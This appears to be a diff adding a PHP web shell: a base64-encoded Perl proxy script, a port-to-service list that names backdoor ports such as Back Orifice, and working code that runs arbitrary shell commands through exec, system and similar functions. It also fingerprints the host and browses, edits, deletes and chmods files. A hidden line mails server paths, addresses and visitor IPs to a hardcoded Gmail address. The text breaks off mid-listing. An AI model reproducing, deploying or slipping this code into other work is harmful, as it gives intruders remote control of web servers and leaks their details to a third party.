+$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9 +MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4 +gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG +ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc +mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1 +LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI="; +$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk +X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR +TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE +FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ +W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h +Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ +lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy +BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V +VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk +bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5 +lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi +BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS +VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN +CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk +7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG +ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd +XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+ +c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw +iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC +R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y +29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y +ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR +QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG +Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D +QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug +PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N +0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi +A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9"; +$port[1] = "tcpmux (TCP Port Service Multiplexer)"; +$port[2] = "Management Utility"; +$port[3] = "Compression Process"; +$port[5] = "rje (Remote Job Entry)"; +$port[7] = "echo"; +$port[9] = "discard"; +$port[11] = "systat"; +$port[13] = "daytime"; +$port[15] = "netstat"; +$port[17] = "quote of the day"; +$port[18] = "send/rwp"; +$port[19] = "character generator"; +$port[20] = "ftp-data"; +$port[21] = "ftp"; +$port[22] = "ssh, pcAnywhere"; +$port[23] = "Telnet"; +$port[25] = "SMTP (Simple Mail Transfer)"; +$port[27] = "ETRN (NSW User System FE)"; +$port[29] = "MSG ICP"; +$port[31] = "MSG Authentication"; +$port[33] = "dsp (Display Support Protocol)"; +$port[37] = "time"; +$port[38] = "RAP (Route Access Protocol)"; +$port[39] = "rlp (Resource Location Protocol)"; +$port[41] = "Graphics"; +$port[42] = "nameserv, WINS"; +$port[43] = "whois, nickname"; +$port[44] = "MPM FLAGS Protocol"; +$port[45] = "Message Processing Module [recv]"; +$port[46] = "MPM [default send]"; +$port[47] = "NI FTP"; +$port[48] = "Digital Audit Daemon"; +$port[49] = "TACACS, Login Host Protocol"; +$port[50] = "RMCP, re-mail-ck"; +$port[53] = "DNS"; +$port[57] = "MTP (any private terminal access)"; +$port[59] = "NFILE"; +$port[60] = "Unassigned"; +$port[61] = "NI MAIL"; +$port[62] = "ACA Services"; +$port[63] = "whois++"; +$port[64] = "Communications Integrator (CI)"; +$port[65] = "TACACS-Database Service"; +$port[66] = "Oracle SQL*NET"; +$port[67] = "bootps (Bootstrap Protocol Server)"; +$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; +$port[69] = "Trivial File Transfer Protocol (tftp)"; +$port[70] = "Gopher"; +$port[71] = "Remote Job Service"; +$port[72] = "Remote Job Service"; +$port[73] = "Remote Job Service"; +$port[74] = "Remote Job Service"; +$port[75] = "any private dial out service"; +$port[76] = "Distributed External Object Store"; +$port[77] = "any private RJE service"; +$port[78] = "vettcp"; +$port[79] = "finger"; +$port[80] = "World Wide Web HTTP"; +$port[81] = "HOSTS2 Name Serve"; +$port[82] = "XFER Utility"; +$port[83] = "MIT ML Device"; +$port[84] = "Common Trace Facility"; +$port[85] = "MIT ML Device"; +$port[86] = "Micro Focus Cobol"; +$port[87] = "any private terminal link"; +$port[88] = "Kerberos, WWW"; +$port[89] = "SU/MIT Telnet Gateway"; +$port[90] = "DNSIX Securit Attribute Token Map"; +$port[91] = "MIT Dover Spooler"; +$port[92] = "Network Printing Protocol"; +$port[93] = "Device Control Protocol"; +$port[94] = "Tivoli Object Dispatcher"; +$port[95] = "supdup"; +$port[96] = "DIXIE"; +$port[98] = "linuxconf"; +$port[99] = "Metagram Relay"; +$port[100] = "[unauthorized use]"; +$port[101] = "HOSTNAME"; +$port[102] = "ISO, X.400, ITOT"; +$port[103] = "Genesis Point-to-Point"; +$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; +$port[105] = "CCSO name server protocol"; +$port[106] = "poppassd"; +$port[107] = "Remote Telnet Service"; +$port[108] = "SNA Gateway Access Server"; +$port[109] = "POP2"; +$port[110] = "POP3"; +$port[111] = "Sun RPC Portmapper"; +$port[112] = "McIDAS Data Transmission Protocol"; +$port[113] = "Authentication Service"; +$port[115] = "sftp (Simple File Transfer Protocol)"; +$port[116] = "ANSA REX Notify"; +$port[117] = "UUCP Path Service"; +$port[118] = "SQL Services"; +$port[119] = "NNTP"; +$port[120] = "CFDP"; +$port[123] = "NTP"; +$port[124] = "SecureID"; +$port[129] = "PWDGEN"; +$port[133] = "statsrv"; +$port[135] = "loc-srv/epmap"; +$port[137] = "netbios-ns"; +$port[138] = "netbios-dgm (UDP)"; +$port[139] = "NetBIOS"; +$port[143] = "IMAP"; +$port[144] = "NewS"; +$port[150] = "SQL-NET"; +$port[152] = "BFTP"; +$port[153] = "SGMP"; +$port[156] = "SQL Service"; +$port[161] = "SNMP"; +$port[175] = "vmnet"; +$port[177] = "XDMCP"; +$port[178] = "NextStep Window Server"; +$port[179] = "BGP"; +$port[180] = "SLmail admin"; +$port[199] = "smux"; +$port[210] = "Z39.50"; +$port[213] = "IPX"; +$port[218] = "MPP"; +$port[220] = "IMAP3"; +$port[256] = "RAP"; +$port[257] = "Secure Electronic Transaction"; +$port[258] = "Yak Winsock Personal Chat"; +$port[259] = "ESRO"; +$port[264] = "FW1_topo"; +$port[311] = "Apple WebAdmin"; +$port[350] = "MATIP type A"; +$port[351] = "MATIP type B"; +$port[363] = "RSVP tunnel"; +$port[366] = "ODMR (On-Demand Mail Relay)"; +$port[371] = "Clearcase"; +$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; +$port[389] = "LDAP"; +$port[407] = "Timbuktu"; +$port[427] = "Server Location"; +$port[434] = "Mobile IP"; +$port[443] = "ssl"; +$port[444] = "snpp, Simple Network Paging Protocol"; +$port[445] = "SMB"; +$port[458] = "QuickTime TV/Conferencing"; +$port[468] = "Photuris"; +$port[475] = "tcpnethaspsrv"; +$port[500] = "ISAKMP, pluto"; +$port[511] = "mynet-as"; +$port[512] = "biff, rexec"; +$port[513] = "who, rlogin"; +$port[514] = "syslog, rsh"; +$port[515] = "lp, lpr, line printer"; +$port[517] = "talk"; +$port[520] = "RIP (Routing Information Protocol)"; +$port[521] = "RIPng"; +$port[522] = "ULS"; +$port[531] = "IRC"; +$port[543] = "KLogin, AppleShare over IP"; +$port[545] = "QuickTime"; +$port[548] = "AFP"; +$port[554] = "Real Time Streaming Protocol"; +$port[555] = "phAse Zero"; +$port[563] = "NNTP over SSL"; +$port[575] = "VEMMI"; +$port[581] = "Bundle Discovery Protocol"; +$port[593] = "MS-RPC"; +$port[608] = "SIFT/UFT"; +$port[626] = "Apple ASIA"; +$port[631] = "IPP (Internet Printing Protocol)"; +$port[635] = "RLZ DBase"; +$port[636] = "sldap"; +$port[642] = "EMSD"; +$port[648] = "RRP (NSI Registry Registrar Protocol)"; +$port[655] = "tinc"; +$port[660] = "Apple MacOS Server Admin"; +$port[666] = "Doom"; +$port[674] = "ACAP"; +$port[687] = "AppleShare IP Registry"; +$port[700] = "buddyphone"; +$port[705] = "AgentX for SNMP"; +$port[901] = "swat, realsecure"; +$port[993] = "s-imap"; +$port[995] = "s-pop"; +$port[1024] = "Reserved"; +$port[1025] = "network blackjack"; +$port[1062] = "Veracity"; +$port[1080] = "SOCKS"; +$port[1085] = "WebObjects"; +$port[1227] = "DNS2Go"; +$port[1243] = "SubSeven"; +$port[1338] = "Millennium Worm"; +$port[1352] = "Lotus Notes"; +$port[1381] = "Apple Network License Manager"; +$port[1417] = "Timbuktu Service 1 Port"; +$port[1418] = "Timbuktu Service 2 Port"; +$port[1419] = "Timbuktu Service 3 Port"; +$port[1420] = "Timbuktu Service 4 Port"; +$port[1433] = "Microsoft SQL Server"; +$port[1434] = "Microsoft SQL Monitor"; +$port[1477] = "ms-sna-server"; +$port[1478] = "ms-sna-base"; +$port[1490] = "insitu-conf"; +$port[1494] = "Citrix ICA Protocol"; +$port[1498] = "Watcom-SQL"; +$port[1500] = "VLSI License Manager"; +$port[1503] = "T.120"; +$port[1521] = "Oracle SQL"; +$port[1522] = "Ricardo North America License Manager"; +$port[1524] = "ingres"; +$port[1525] = "prospero"; +$port[1526] = "prospero"; +$port[1527] = "tlisrv"; +$port[1529] = "oracle"; +$port[1547] = "laplink"; +$port[1604] = "Citrix ICA, MS Terminal Server"; +$port[1645] = "RADIUS Authentication"; +$port[1646] = "RADIUS Accounting"; +$port[1680] = "Carbon Copy"; +$port[1701] = "L2TP/LSF"; +$port[1717] = "Convoy"; +$port[1720] = "H.323/Q.931"; +$port[1723] = "PPTP control port"; +$port[1731] = "MSICCP"; +$port[1755] = "Windows Media .asf"; +$port[1758] = "TFTP multicast"; +$port[1761] = "cft-0"; +$port[1762] = "cft-1"; +$port[1763] = "cft-2"; +$port[1764] = "cft-3"; +$port[1765] = "cft-4"; +$port[1766] = "cft-5"; +$port[1767] = "cft-6"; +$port[1808] = "Oracle-VP2"; +$port[1812] = "RADIUS server"; +$port[1813] = "RADIUS accounting"; +$port[1818] = "ETFTP"; +$port[1973] = "DLSw DCAP/DRAP"; +$port[1985] = "HSRP"; +$port[1999] = "Cisco AUTH"; +$port[2001] = "glimpse"; +$port[2049] = "NFS"; +$port[2064] = "distributed.net"; +$port[2065] = "DLSw"; +$port[2066] = "DLSw"; +$port[2106] = "MZAP"; +$port[2140] = "DeepThroat"; +$port[2301] = "Compaq Insight Management Web Agents"; +$port[2327] = "Netscape Conference"; +$port[2336] = "Apple UG Control"; +$port[2427] = "MGCP gateway"; +$port[2504] = "WLBS"; +$port[2535] = "MADCAP"; +$port[2543] = "sip"; +$port[2592] = "netrek"; +$port[2727] = "MGCP call agent"; +$port[2628] = "DICT"; +$port[2998] = "ISS Real Secure Console Service Port"; +$port[3000] = "Firstclass"; +$port[3001] = "Redwood Broker"; +$port[3031] = "Apple AgentVU"; +$port[3128] = "squid"; +$port[3130] = "ICP"; +$port[3150] = "DeepThroat"; +$port[3264] = "ccmail"; +$port[3283] = "Apple NetAssitant"; +$port[3288] = "COPS"; +$port[3305] = "ODETTE"; +$port[3306] = "mySQL"; +$port[3389] = "RDP Protocol (Terminal Server)"; +$port[3521] = "netrek"; +$port[4000] = "icq, command-n-conquer and shell nfm"; +$port[4321] = "rwhois"; +$port[4333] = "mSQL"; +$port[4444] = "KRB524"; +$port[4827] = "HTCP"; +$port[5002] = "radio free ethernet"; +$port[5004] = "RTP"; +$port[5005] = "RTP"; +$port[5010] = "Yahoo! Messenger"; +$port[5050] = "multimedia conference control tool"; +$port[5060] = "SIP"; +$port[5150] = "Ascend Tunnel Management Protocol"; +$port[5190] = "AIM"; +$port[5500] = "securid"; +$port[5501] = "securidprop"; +$port[5423] = "Apple VirtualUser"; +$port[5555] = "Personal Agent"; +$port[5631] = "PCAnywhere data"; +$port[5632] = "PCAnywhere"; +$port[5678] = "Remote Replication Agent Connection"; +$port[5800] = "VNC"; +$port[5801] = "VNC"; +$port[5900] = "VNC"; +$port[5901] = "VNC"; +$port[6000] = "X Windows"; +$port[6112] = "BattleNet"; +$port[6502] = "Netscape Conference"; +$port[6667] = "IRC"; +$port[6670] = "VocalTec Internet Phone, DeepThroat"; +$port[6699] = "napster"; +$port[6776] = "Sub7"; +$port[6970] = "RTP"; +$port[7007] = "MSBD, Windows Media encoder"; +$port[7070] = "RealServer/QuickTime"; +$port[7777] = "cbt"; +$port[7778] = "Unreal"; +$port[7648] = "CU-SeeMe"; +$port[7649] = "CU-SeeMe"; +$port[8000] = "iRDMI/Shoutcast Server"; +$port[8010] = "WinGate 2.1"; +$port[8080] = "HTTP"; +$port[8181] = "HTTP"; +$port[8383] = "IMail WWW"; +$port[8875] = "napster"; +$port[8888] = "napster"; +$port[8889] = "Desktop Data TCP 1"; +$port[8890] = "Desktop Data TCP 2"; +$port[8891] = "Desktop Data TCP 3: NESS application"; +$port[8892] = "Desktop Data TCP 4: FARM product"; +$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; +$port[8894] = "Desktop Data TCP 6: COAL application"; +$port[9000] = "CSlistener"; +$port[10008] = "cheese worm"; +$port[11371] = "PGP 5 Keyserver"; +$port[13223] = "PowWow"; +$port[13224] = "PowWow"; +$port[14237] = "Palm"; +$port[14238] = "Palm"; +$port[18888] = "LiquidAudio"; +$port[21157] = "Activision"; +$port[22555] = "Vocaltec Web Conference"; +$port[23213] = "PowWow"; +$port[23214] = "PowWow"; +$port[23456] = "EvilFTP"; +$port[26000] = "Quake"; +$port[27001] = "QuakeWorld"; +$port[27010] = "Half-Life"; +$port[27015] = "Half-Life"; +$port[27960] = "QuakeIII"; +$port[30029] = "AOL Admin"; +$port[31337] = "Back Orifice"; +$port[32777] = "rpc.walld"; +$port[45000] = "Cisco NetRanger postofficed"; +$port[32773] = "rpc bserverd"; +$port[32776] = "rpc.spray"; +$port[32779] = "rpc.cmsd"; +$port[38036] = "timestep"; +$port[40193] = "Novell"; +$port[41524] = "arcserve discovery"; +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////////// +function rep_char($ch,$count) // +{ + $res=""; + for($i=0; $i<=$count; ++$i){ + $res.=$ch.""; + } + return $res; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function ex($comd) // +{ + $res = ''; + if (!empty($comd)){ + if(function_exists('exec')){ + exec($comd,$res); + $res=implode("\n",$res); + }elseif(function_exists('shell_exec')){ + $res=shell_exec($comd); + }elseif(function_exists('system')){ + ob_start(); + system($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(function_exists('passthru')){ + ob_start(); + passthru($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(is_resource($f=popen($comd,"r"))){ + $res = ""; + while(!feof($f)) { $res.=fread($f,1024); } + pclose($f); + } + } + return $res; +} +function sysinfo() // SYSINFO +{ + global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; + echo("<b><font face=Verdana size=2> System information:<br><font size=-2> + <hr>"); + echo (($safe_mode)?("Safe Mode: </b><font color=green>ON</font><b> "): + ("Safe Mode: </b><font color=red>OFF</font><b> ")); + $row_dis_func=explode(', ',$dis_func); + echo ("PHP: </b><font color=blue>".phpversion()."</font><b> "); + echo ("MySQL: </b>"); + if($mysql_stat){ + echo "<font color=green>ON </font><b>"; + } + else { + echo "<font color=red>OFF </font><b>"; + } + echo "cURL: </b>"; + if($curl_on){ + echo "<font color=green>ON</font><b><br>"; + }else + echo "<font color=red>OFF</font><b><br>"; + if ($dis_func!=""){ + echo "Disabled Functions: </b><font color=red>".$dis_func."</font><br><b>"; + } + $uname=ex('uname -a'); + echo "OS: </b><font color=blue>"; + if (empty($uname)){ + echo (php_uname()."</font><br><b>"); + }else + echo $uname."</font><br><b>"; + $id = ex('id'); + echo "SERVER: </b><font color=blue>".$server."</font><br><b>"; + echo "id: </b><font color=blue>"; + if (!empty($id)){ + echo $id."</font><br><b>"; + }else + echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). + "</font><br><b>"; + echo "<b>RemoteAddress:</b><font color=red>".$HTTP_SERVER_VARS['REMOTE_ADDR']."</font><br>"; + if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ + echo "<b>RemoteAddressIfProxy:</b><font color=red>".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']."</font>"; + } + echo "<hr size=3 color=black>"; + echo "</font></font>"; +} +function read_dir($dir) // +{ + $d=opendir($dir); + $i=0; + while($r=readdir($d)){ + $res[$i]=$r; + $i++; + } + return $res; +} +function permissions($mode,$file) { // + $type=filetype($file); + $perms=$type[0]; + $perms.=($mode & 00400) ? "r" : "-"; + $perms.=($mode & 00200) ? "w" : "-"; + $perms.=($mode & 00100) ? "x" : "-"; + $perms.=($mode & 00040) ? "r" : "-"; + $perms.=($mode & 00020) ? "w" : "-"; + $perms.=($mode & 00010) ? "x" : "-"; + $perms.=($mode & 00004) ? "r" : "-"; + $perms.=($mode & 00002) ? "w" : "-"; + $perms.=($mode & 00001) ? "x" : "-"; + $perms.="(".$mode.")"; + return $perms; +} +function open_file($fil, $m, $d) // +{ + if (!($fp=fopen($fil,$m))) { + $res="Error opening file!\n"; + }else{ + ob_start(); + readfile($fil); + $res=ob_get_contents(); + ob_end_clean(); + if (!(fclose($fp))){ + $res="ERROR CLOSE"; + } + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>&nbsp;&nbsp;&nbsp;".$fil."&nbsp;&nbsp;&nbsp;</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo $res; + echo "</textarea></td></tr>"; + if(is_writable($fil)){ + echo "<input type=\"hidden\" value='".$fil."' name=\"fname\">"; + echo "<input type=\"hidden\" value='".$d."' name=\"dname\">"; + echo "<tr><td alling=center><input style='width:100px;' type=\"submit\" value=\"Save\" name=\"b_save\"></td></tr>"; + } + echo "</form></table>"; +} +function save_file($res,$fil, $d) // +{ + unlink($fil); + $fp=fopen($fil,"wb"); + if(!$fp){ + $res="Error create file!\n".$fp; + }else{ + if (fwrite($fp,$res)){ + if (fclose($fp)){ + $res="File save succesfuly!\n"; + }else $res="Erorr close!\n"; + }else $res="Error wright!\n"; + } + umask(0000); + chmod($fil,0777); + return $res; +} +function strmass($mass){ + $res=""; + foreach($mass as $k=>$v){ + $res.=$v."|"; + } + return $res; +} +function sortbyname($fnames, $d) +{ + $filenames=""; + $foldernames=""; + $numnames=count($fnames); + for($i=0;$i<=$numnames;$i++){ + if(is_dir($d."/".$fnames[$i])){ + $foldernames.=$fnames[$i]."|"; + }else + $filenames.=$fnames[$i]."|"; + } + $mass1=explode("|",$foldernames); + $mass2=explode("|",$filenames); + sort($mass1); + sort($mass2); + $mass1=strmass($mass1); + $mass2=strmass($mass2); + $mass=explode("|",$mass1.$mass2); + return $mass; +} +function list_dir($d) // +{ + global $HTTP_REFERER; + if(isset($_POST['b_up']) OR isset($_POST['b_open_dir'])){ + chdir($_POST['fname']); + $d=getcwd(); + }else + $d=getcwd(); + if($_POST['b_new_dir']){ + mkdir($_POST['new']); + chmod($_POST['new'],0777); + $d=$_POST['new']; + } + if($_POST['b_del'] AND is_dir($_POST['fname'])){ + rmdir($_POST['fname']); + chdir($_POST['dname']); + $d=getcwd(); + } + if($_POST['b_del'] AND !is_dir($_POST['fname'])){ + unlink($_POST['fname']); + chdir($_POST['dname']); + $d=getcwd(); + } + if($_POST['b_change_dir']){ + chdir($_POST['change_dir']); + $d=getcwd(); + } + if($_POST['b_new_file'] OR $_POST['b_open_file']){ + chdir($_POST['dname']); + $d=getcwd(); + } + $dir=read_dir($d); + $dir=sortbyname($dir,$d); + $count=count($dir); + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b>Navigation</b></td></tr>"; + if(is_writable($d)){ + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"$d\" name=\"new\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewDir\" name=\"b_new_dir\"></td>"; + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewFile\" name=\"b_new_file\"></td></tr>"; + } + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"$d\" name=\"change_dir\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"ChangeDir\" name=\"b_change_dir\"></td></tr>"; + if(!$safe_mode){ + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"\" name=\"ffile\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"FindeFile\" name=\"b_f_file\"></td></tr>"; + } + echo "</table></form>"; + echo "<table CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>"; + echo "<tr bgcolor=#ffff00><td><b>&nbsp;&nbsp;&nbsp;Directory&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Permission&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Size&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Owner/Group&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Action&nbsp;&nbsp;&nbsp;</b></td>"; + for($i=0; $i<$count; $i++){ + if($dir[$i]!=""){ + $full=$d."/".$dir[$i]; + $perm=permissions(fileperms($full),$dir[$i]); + $file=$d."/".$dir[$i]; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + if(is_dir($file)){ + echo "<tr bgcolor=#98FA00><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + }elseif(is_file($file)){ + echo "<tr><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + }else + echo "<tr bgcolor=#ffff00><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td 